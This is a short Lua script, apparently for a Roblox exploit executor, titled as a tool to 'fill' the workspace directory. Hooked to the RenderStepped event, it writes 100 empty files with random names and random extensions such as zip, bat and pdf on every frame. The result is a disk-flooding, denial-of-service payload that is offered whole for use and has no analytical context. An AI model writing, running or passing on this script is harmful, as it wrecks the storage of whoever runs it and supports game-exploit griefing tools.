Roblox Exploit Fill Workspace Dir

function r()
    local len = math.random(10,20)
    local ar = {}
    for i = 1, len do
        ar[i] = string.char(math.random(32, 126))
    end
    return tostring(table.concat(ar))
end

formats={"7z","apk","bin","cab","c4","deb","dn","py","php","pdf","docx","wav","mp3","mp4","osk","vob","bat","ogg","webm","flv","avi","wmv","mov","qt","amv","3gp","mpg","bjsn","egg","egt","bkf","at3","ezip","zip","gbp","gif","jar","lua","txt","iso","tar","tib","rar","sb","lz","html","ace","esd"}

game.RunService.RenderStepped:connect(function()
    for a = 1, 100 do
        writefile(r() .. "." .. formats[math.random(1,#formats)],"")
    end
end)